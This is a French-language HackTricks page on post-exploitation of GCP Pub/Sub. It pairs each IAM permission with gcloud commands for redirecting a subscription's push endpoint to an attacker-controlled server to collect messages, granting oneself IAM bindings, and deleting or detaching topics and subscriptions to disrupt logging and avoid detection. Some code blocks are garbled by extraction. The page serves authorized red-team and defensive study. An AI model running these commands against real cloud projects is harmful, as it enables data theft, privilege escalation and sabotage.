GCP - Pub/Sub Post Exploitation

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Pub/Sub

Pour plus d’informations sur Pub/Sub, consultez la page suivante:

GCP - Pub/Sub Enum

pubsub.topics.publish

Publier un message dans un topic, utile pour envoyer des données inattendues et déclencher des fonctionnalités inattendues ou exploiter des vulnérabilités :

Publier un message dans un topic ```bash # Publish a message in a topic gcloud pubsub topics publish --message "Hello!" ```

pubsub.topics.detachSubscription

Utile pour empĂȘcher une subscription de recevoir des messages, peut-ĂȘtre pour Ă©viter la dĂ©tection.

Détacher la subscription du topic ```bash gcloud pubsub topics detach-subscription ```

pubsub.topics.delete

Utile pour empĂȘcher une subscription de recevoir des messages, Ă©ventuellement pour Ă©viter la dĂ©tection.
Il est possible de supprimer un topic mĂȘme avec des subscriptions attachĂ©es.

Supprimer topic ```bash gcloud pubsub topics delete ```

pubsub.topics.update

Utilisez cette permission pour modifier certains paramùtres du topic afin de le perturber, comme --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key


pubsub.topics.setIamPolicy

Donnez-vous la permission d’effectuer n’importe laquelle des attaques prĂ©cĂ©dentes.

# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Récupérer tous les messages sur un serveur web :

Créer une push subscription pour recevoir les messages ```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions create --topic --push-endpoint https:// ```

Créez un abonnement et utilisez-le pour récupérer des messages :

Créer un abonnement de type pull et récupérer les messages ```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions create --topic

You also need pubsub.subscriptions.consume for this

gcloud pubsub subscriptions pull

This command will wait for a message to be posted

</details>

### `pubsub.subscriptions.delete`

**Supprimer un abonnement** peut ĂȘtre utile pour perturber un systĂšme de traitement des logs ou quelque chose de similaire :

<details>

<summary>Supprimer l'abonnement</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Utilisez cette permission pour mettre à jour un paramÚtre afin que les messages soient stockés dans un endroit auquel vous pouvez accéder (URL, Big Query table, Bucket) ou simplement pour le perturber.

Point de terminaison de mise Ă  jour de l'abonnement ```bash gcloud pubsub subscriptions update --push-endpoint ```

pubsub.subscriptions.setIamPolicy

Donnez-vous les autorisations nĂ©cessaires pour effectuer n’importe laquelle des attaques mentionnĂ©es prĂ©cĂ©demment.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Attacher un schema à un topic de façon à ce que les messages ne le respectent pas et que le topic soit perturbé.
Si aucun schema n’existe, vous devrez peut-ĂȘtre en crĂ©er un.

Créer le fichier schema et l'attacher au topic ```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

Cela pourrait donner l’impression qu’en supprimant un schema vous pourrez envoyer des messages qui ne respectent pas le schema. Cependant, comme le schema sera supprimĂ©, aucun message n’entrera rĂ©ellement dans le topic. Donc c’est INUTILE :

Delete schema (not useful) ```bash gcloud pubsub schemas delete ```

pubsub.schemas.setIamPolicy

Donnez-vous les permissions nĂ©cessaires pour effectuer n’importe laquelle des attaques commentĂ©es prĂ©cĂ©demment.

pubsub.snapshots.create, pubsub.snapshots.seek

Cela créera un snapshot de tous les messages unACKed et les remettra dans la subscription. Pas trÚs utile pour un attaquant mais voici :

Create snapshot and seek to it ```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks